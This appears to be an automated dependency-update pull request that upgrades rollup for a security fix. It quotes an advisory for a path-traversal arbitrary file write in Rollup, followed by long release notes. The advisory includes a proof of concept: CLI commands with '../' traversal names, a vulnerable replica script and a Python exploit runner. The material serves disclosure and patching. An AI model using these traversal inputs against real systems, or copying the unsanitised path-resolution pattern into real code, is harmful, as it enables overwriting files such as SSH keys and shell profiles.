Skip to content

chore(deps): update dependency rollup to v2.80.0 [security]#57

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-rollup-vulnerability
Open

chore(deps): update dependency rollup to v2.80.0 [security]#57
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-rollup-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate Bot commented Feb 27, 2026

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
rollup (source) 2.33.32.80.0 age confidence

Rollup 4 has Arbitrary File Write via Path Traversal

CVE-2026-27606 / GHSA-mw96-cpmx-2vgc

More information

Details

Summary

The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (../) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.

Details

The vulnerability is caused by the combination of two flawed components in the Rollup core:

  1. Improper Sanitization: In src/utils/sanitizeFileName.ts, the INVALID_CHAR_REGEX used to clean user-provided names for chunks and assets excludes the period (.) and forward/backward slashes (/, \).

    // src/utils/sanitizeFileName.ts (Line 3)
    const INVALID_CHAR_REGEX = /[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g;

    This allows path traversal sequences like ../../ to pass through the sanitizer unmodified.

  2. Unsafe Path Resolution: In src/rollup/rollup.ts, the writeOutputFile function uses path.resolve to combine the output directory with the "sanitized" filename.

    // src/rollup/rollup.ts (Line 317)
    const fileName = resolve(outputOptions.dir || dirname(outputOptions.file!), outputFile.fileName);

    Because path.resolve follows the ../ sequences in outputFile.fileName, the resulting path points outside of the intended output directory. The subsequent call to fs.writeFile completes the arbitrary write.

PoC

A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.

Scenario: CLI Named Input Exploit

  1. Target a sensitive file location (for demonstration, we will use a file in the project root called pwned.js).
  2. Execute Rollup with a specifically crafted named input where the key contains traversal characters:
    rollup --input "a/../../pwned.js=main.js" --dir dist
  3. Result: Rollup will resolve the output path for the entry chunk as dist + a/../../pwned.js, which resolves to the project root. The file pwned.js is created/overwritten outside the dist folder.

Reproduction Files provided :

  • vuln_app.js: Isolated logic exactly replicating the sanitization and resolution bug.
  • exploit.py: Automated script to run the PoC and verify the file escape.

vuln_app.js

const path = require('path');
const fs = require('fs');

/**
 * REPLICATED ROLLUP VULNERABILITY
 * 
 * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts)
 * 2. Unsafe Path Resolution (from src/rollup/rollup.ts)
 */

function sanitize(name) {
    // The vulnerability: Rollup's regex fails to strip dots and slashes, 
    // allowing path traversal sequences like '../'
    return name.replace(/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g, '_');
}

async function build(userSuppliedName) {
    const outputDir = path.join(__dirname, 'dist');
    const fileName = sanitize(userSuppliedName);

    // Vulnerability: path.resolve() follows traversal sequences in the filename
    const outputPath = path.resolve(outputDir, fileName);

    console.log(`[*] Target write path: ${outputPath}`);

    if (!fs.existsSync(path.dirname(outputPath))) {
        fs.mkdirSync(path.dirname(outputPath), { recursive: true });
    }

    fs.writeFileSync(outputPath, 'console.log("System Compromised!");');
    console.log(`[+] File written successfully.`);
}

build(process.argv[2] || 'bundle.js');

exploit.py

import subprocess
from pathlib import Path

def run_poc():
    # Target a file outside the 'dist' folder
    poc_dir = Path(__file__).parent
    malicious_filename = "../pwned_by_rollup.js"
    target_path = poc_dir / "pwned_by_rollup.js"

    print(f"=== Rollup Path Traversal PoC ===")
    print(f"[*] Malicious Filename: {malicious_filename}")
    
    # Trigger the vulnerable app
    subprocess.run(["node", "poc/vuln_app.js", malicious_filename])

    if target_path.exists():
        print(f"[SUCCESS] File escaped 'dist' folder!")
        print(f"[SUCCESS] Created: {target_path}")
        # target_path.unlink() # Cleanup
    else:
        print("[FAILED] Exploit did not work.")

if __name__ == "__main__":
    run_poc()
POC

rollup --input "bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js" --dir dist

image
Impact

This is a High level of severity vulnerability.

  • Arbitrary File Write: Attackers can overwrite sensitive files like ~/.ssh/authorized_keys, .bashrc, or system binaries if the build process has sufficient privileges.
  • Supply Chain Risk: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase.
  • User Impact: Developers running builds on untrusted repositories are at risk of system compromise.

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

rollup/rollup (rollup)

v2.80.0

Compare Source

v2.79.2

Compare Source

v2.79.1

Compare Source

v2.79.0

Compare Source

v2.78.1

Compare Source

v2.78.0

Compare Source

v2.77.3

Compare Source

v2.77.2

Compare Source

v2.77.1

Compare Source

v2.77.0

Compare Source

v2.76.0

Compare Source

v2.75.7

Compare Source

v2.75.6

Compare Source

v2.75.5

Compare Source

v2.75.4

Compare Source

v2.75.3

Compare Source

v2.75.2

Compare Source

v2.75.1

Compare Source

v2.75.0

Compare Source

v2.74.1

Compare Source

v2.74.0

Compare Source

v2.73.0

Compare Source

v2.72.1

Compare Source

v2.72.0

Compare Source

v2.71.1

Compare Source

v2.71.0

Compare Source

v2.70.2

Compare Source

v2.70.1

Compare Source

v2.70.0

Compare Source

v2.69.2

Compare Source

v2.69.1

Compare Source

v2.69.0

Compare Source

v2.68.0

Compare Source

v2.67.3

Compare Source

v2.67.2

Compare Source

v2.67.1

Compare Source

v2.67.0

Compare Source

v2.66.1

Compare Source

v2.66.0

Compare Source

v2.65.0

Compare Source

v2.64.0

Compare Source

v2.63.0

Compare Source

v2.62.0

Compare Source

v2.61.1

Compare Source

v2.61.0

Compare Source

v2.60.2

Compare Source

v2.60.1

Compare Source

v2.60.0

Compare Source

v2.59.0

Compare Source

v2.58.3

Compare Source

v2.58.2

Compare Source

v2.58.1

Compare Source

v2.58.0

Compare Source

v2.57.0

Compare Source

v2.56.3

Compare Source

v2.56.2

Compare Source

v2.56.1

Compare Source

v2.56.0

Compare Source

v2.55.1

Compare Source

v2.55.0

Compare Source

v2.54.0

Compare Source

v2.53.3

Compare Source

v2.53.2

Compare Source

v2.53.1

Compare Source

v2.53.0

Compare Source

v2.52.8

Compare Source

v2.52.7

Compare Source

v2.52.6

Compare Source

v2.52.5

Compare Source

v2.52.4

Compare Source

v2.52.3

Compare Source

2021-06-25

Bug Fixes
  • Fix an issue where code was wrongly removed when using vars in nested scopes (#​4149)
Pull Requests

v2.52.2

Compare Source

2021-06-21

Bug Fixes
  • Support falsy plugins in types (#​4144)
  • Do not require return value in renderChunkHook type (#​4144)
Pull Requests

v2.52.1

Compare Source

2021-06-17

Bug Fixes
  • Fix a memory leak in watch mode (#​4142)
Pull Requests

v2.52.0

Compare Source

2021-06-16

Features
  • Add --configPlugin CLI option to apply plugins to the config file for e.g. TypeScript configs (#​3835)
  • Add "safest" and "smallest" presets to tree-shaking options for easier configuration (#​4131)
  • Add treeshake.correctVarValueBeforeDeclaration option to deoptimize var declarations (#​4139)
Pull Requests

v2.51.2

Compare Source

2021-06-11

Bug Fixes
  • Include modules imported from no-treeshake modules even if they would be empty (#​4138)
Pull Requests

v2.51.1

Compare Source

2021-06-08

Bug Fixes
  • Fix error when using defineConfig (#​4134)
Pull Requests

v2.51.0

Compare Source

2021-06-06

Features
  • Add a helper for IntelliSense support in config files (#​4127)
Bug Fixes
  • Improve performance when generating source maps (#​4122)
Pull Requests

v2.50.6

Compare Source

2021-06-03

Bug Fixes
  • Do not consider the object spread operator as side effect when propertyReadSideEffects are false (#​4119)
  • Detect side effects when returning thenables from async arrow functions (#​4120)
Pull Requests

v2.50.5

Compare Source

2021-05-30

Bug Fixes
  • Detect side effects when accessing thenables (#​4115)
Pull Requests

v2.50.4

Compare Source

2021-05-29

Bug Fixes
  • Fix a situation where tree-shaking would stop including nodes prematurely (#​4111)
  • Track mutations and accessor side effects when using __proto__ in an object literal (#​4112)
  • Check for getter effects when spreading an object (#​4113)
Pull Requests

v2.50.3

Compare Source

2021-05-28

Bug Fixes
  • Wrap parentheses around leading elements in simplified sequence expressions if this would otherwise lead to invalid code (#​4110)
  • Do not associate block soped variables in catch clauses with the clause parameter (#​4108)
  • Do not associate hoisted variables in catch clauses with outside variables if they match the parameter (#​4108)
  • Use correct "this" context for tagged template literal member expressions in simplified sequences (#​4110)
Pull Requests

v2.50.2

Compare Source

2021-05-27

Bug Fixes
  • Avoid unnecessary side effects when using methods like .filter and .map (#​4103)
  • Avoid crash when a module with moduleSideEffects no-treeshake imports a tree-shaken module (#​4104)
Pull Requests

v2.50.1

Compare Source

2021-05-26

Bug Fixes
  • Do not associate pure annotations in simplified expressions with wrong elements (#​4095)
  • Prevent invalid code when simplified conditionals start with an IIFE function expression (#​4099)
Pull Requests

v2.50.0

Compare Source

2021-05-25

Features
  • Only include last elements of comma expressions if they are used or have side effects (#​4087)
Bug Fixes
  • Prevent a crash that could occur when calling object methods (#​4091)
Pull Requests

v2.49.0

Compare Source

2021-05-23

Features
  • Detect side-effect-free static class methods and properties (#​4018)
  • Detect side-effect-free array elements (#​4018)
  • Do not apply deoptimizations from dead code (#​4018)
Bug Fixes
  • Handle side effect detection for getters and setters added in untracked code (#​4018)
  • Track "this" mutations for methods, getters and setters (#​4018)
Pull Requests

v2.48.0

Compare Source

2021-05-15

Features
  • Add replacement to conditionally insert asset extensions in entryFileNames when preserving modules (#​4077)
Bug Fixes
  • Fix crash when dynamically assigning to namespace members (#​4070)
  • Do not associate pure annotations in front of a semi-colon or comma with succeeding code (#​4068)
Pull Requests

v2.47.0

Compare Source

2021-05-04

Features
  • Warn about ambiguous imports from combined external namespace reexports (#​4064)
  • In case of combined namespace reexports, always prefer local exports over external namespaces (#​4064)
  • Treat conflicting names in local namespace reexports as undefined (#​4064)
Pull Requests

v2.46.0

Compare Source

2021-04-29

Features
  • Add option to disable file name sanitation (#​4058)
  • Add information about importers to unused external import warning (#​4054)
Pull Requests

v2.45.2

Compare Source

2021-04-13

Bug Fixes
  • Do not user a dynamic entry file name for naming a manual chunk (#​4040)
Pull Requests

v2.45.1

Compare Source

2021-04-10

Bug Fixes
  • Handle falsy return values from async plugin options hooks (#​4039)
Pull Requests

v2.45.0

Compare Source

2021-04-09

Features
  • Support private class instance methods and accessors (#​4034)
Pull Requests

v2.44.0

Compare Source

2021-03-29

Features
  • Add a new option makeAbsoluteExternalsRelative to opt out of renormalizing absolute external ids to relative ids (#​4021)
  • Extend the resolveId plugin hook to allow forcing or preventing renormalization of absolute external ids (#​4021)
  • Make the rendered code of individual modules available in the generated bundle (#​4028)
Bug Fixes
  • Handle objects with __proto__ properties correctly (#​4019)
Pull Requests

v2.43.1

Compare Source

2021-03-28

Bug Fixes
  • Prevent infinite recursions in certain scenarios when calling object properties (#​4025)
Pull Requests

v2.43.0

Compare Source

2021-03-27

Features
  • Track side effects of function properties in objects for better tree-shaking (#​4011)
Pull Requests

v2.42.4

Compare Source

2021-03-24

Bug Fixes
  • Do not discard plugin return values when using perf option (#​4010)
Pull Requests

v2.42.3

Compare Source

2021-03-22

Bug Fixes
  • Do not ignore #__PURE__ comments in front of optional chaining expressions (#​4007)
Pull Requests

v2.42.2

Compare Source

2021-03-22

Bug Fixes
  • Use correct import.meta.url in relative imports from transpiled config files (#​4005)
Pull Requests

v2.42.1

Compare Source

2021-03-20

Bug Fixes
  • Do not produce unhandled Promise rejections when plugins throw while using the perf option (#​4004)
Pull Requests

v2.42.0

Compare Source

2021-03-19

Features
  • Prevent infinite loops when several plugins are using this.resolve in their resolveId hook (#​4000)
Pull Requests

v2.41.5

Compare Source

2021-03-18

Bug Fixes
  • Make sure unused property accesses of external namespaces can be tree-shaken (#​4001)
Pull Requests

v2.41.4

Compare Source

2021-03-16

Bug Fixes
  • Do not replace external namespace imports with individual named imports to avoid changing behaviour with regard to missing exports (#​3999)
Pull Requests

v2.41.3

Compare Source

2021-03-16

Bug Fixes
  • Always retain arguments passed to empty object pattern parameters (#​3998)
Pull Requests

v2.41.2

Compare Source

2021-03-12

Bug Fixes
  • Also remove sourcemaps comments if plugins return a pre-made ast (#​3987)
Pull Requests

v2.41.1

Compare Source

2021-03-11

Pull Requests

v2.41.0

Compare Source

2021-03-09

Features
  • Add option to treeshake.propertyReadSideEffects to keep all property accesses (#​3985)
Bug Fixes
  • Also respect pure comment annotations when a plugin provides an AST in the transform hook provided they use this.parse (#​3981)
Pull Requests
  • #​3981: Move pure comment annotation to Graph.contextParse (@​yannayl)
  • #​3985: implement --treeshake.propertyReadSideEffects=always to handle getters with side effects (@​kzc)

v2.40.0

Compare Source

2021-02-26

Features
  • Make sure that entry point variable names take precedence over variable names in dependencies when deconflicting (#​3977)
Bug Fixes
  • Replace : in generated file names to prevent invalid files on Windows (#​3972)
Pull Requests

v2.39.1

Compare Source

2021-02-23

Bug Fixes
  • Make sure local variables named Symbol, Object or Promise do not conflict with code generated by Rollup (#​3971)
Pull Requests

v2.39.0

Compare Source

2021-02-12

Features
  • Add "validate" option to verify generated chunks are valid JavaScript (#​3952)
Bug Fixes
  • Always add exports properties for uninitialized named exports (#​3957)
  • Allow using an external namespace reexport together with named exports (#​3959)
  • Avoid invalid generated code in certain scenarios with SystemJS exports (#​3960)
Pull Requests

v2.38.5

Compare Source

2021-02-05

Bug Fixes
  • Prevent invalid code when simplifying assignments and delcarations (#​3951)
  • Prevent behaviour-changing line-breaks when simplifying assignments in return statements (#​3951)
  • Slightly improve white-space rendering when simplifying certain expressions (#​3951)
Pull Requests

v2.38.4

Compare Source

2021-02-02

Bug Fixes
  • Do not change logic when tree-shaking declarations in if statements or loops (#​3947)
Pull Requests

v2.38.3

Compare Source

2021-02-01

Bug Fixes
  • Prevent an unexpected live-binding when default exporting a synthetic named export (#​3946)
Pull Requests

v2.38.2

Compare Source

2021-01-31

Bug Fixes
  • Do not generate invalid code for partially tree-shaken declarations in for loops (#​3943)
  • Always include function bodies of functions in side-effect-free modules (#​3944)
Pull Requests

v2.38.1

Compare Source

2021-01-28

Bug Fixes
  • Fix internal error when resolving a missing entry point in the browser build (#​3935)
Pull Requests

v2.38.0

Compare Source

2021-01-22

Features
  • Entirely remove declared variables that only have an initializer side effect (#​3933)
Pull Requests

v2.37.1

Compare Source

2021-01-20

Pull Requests

v2.37.0

Compare Source

2021-01-19

Features
  • Always check modules for side-effects that only indirectly reexport a used variable (#​3840)
  • Warn if a circular dependency would cause wrong execution order when preserving modules (#​3840)
Bug Fixes
  • Allow consuming synthetic exports via modules that reexport a namespace (#​3894)
  • Do not crash for circular default reexports (#​3840)
  • Do not crash for circular synthetic namespaces (#​3840)
  • Improve circular dependency execution order in certain scenarios (#​3840)
Pull Requests

v2.36.2

Compare Source

2021-01-16

Bug Fixes
  • Fix an issue where invalid code was generated for unused assignments with side effects (#​3926)
Pull Requests

v2.36.1

Compare Source

2021-01-06

Bug Fixes
  • Solve issues that result in invalid code when partially removing assignments (#​3921)
Pull Requests

v2.36.0

Compare Source

2021-01-05

Features
  • Support partial tree-shaking of chained assignments and unused assignment targets (#​3919)
Pull Requests

v2.35.1

Compare Source

2020-12-14

Bug Fixes
  • Allow closing the bundle when watching in case of generate errors by adding the bundle to the error event (#​3909)
  • Automatically close all bundles on generate errors when watching and using the CLI (#​3909)
  • Try to create remaining bundles when watching and one of them throws (#​3909)
Pull Requests

v2.35.0

Compare Source

2020-12-14

Features
  • Add closeBundle hook that is triggered by bundle.close() in the JS API (#​3883)
Pull Requests
  • #​3883: Revert pattern to folder export ([@​intrnl

Note

PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot changed the title chore(deps): update dependency rollup to v2.80.0 [security] chore(deps): update dependency rollup to v2.80.0 [security] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate renovate Bot deleted the renovate/npm-rollup-vulnerability branch March 27, 2026 01:52
@renovate renovate Bot changed the title chore(deps): update dependency rollup to v2.80.0 [security] - autoclosed chore(deps): update dependency rollup to v2.80.0 [security] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate renovate Bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from 6cc94ea to b5b8310 Compare March 30, 2026 21:53
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants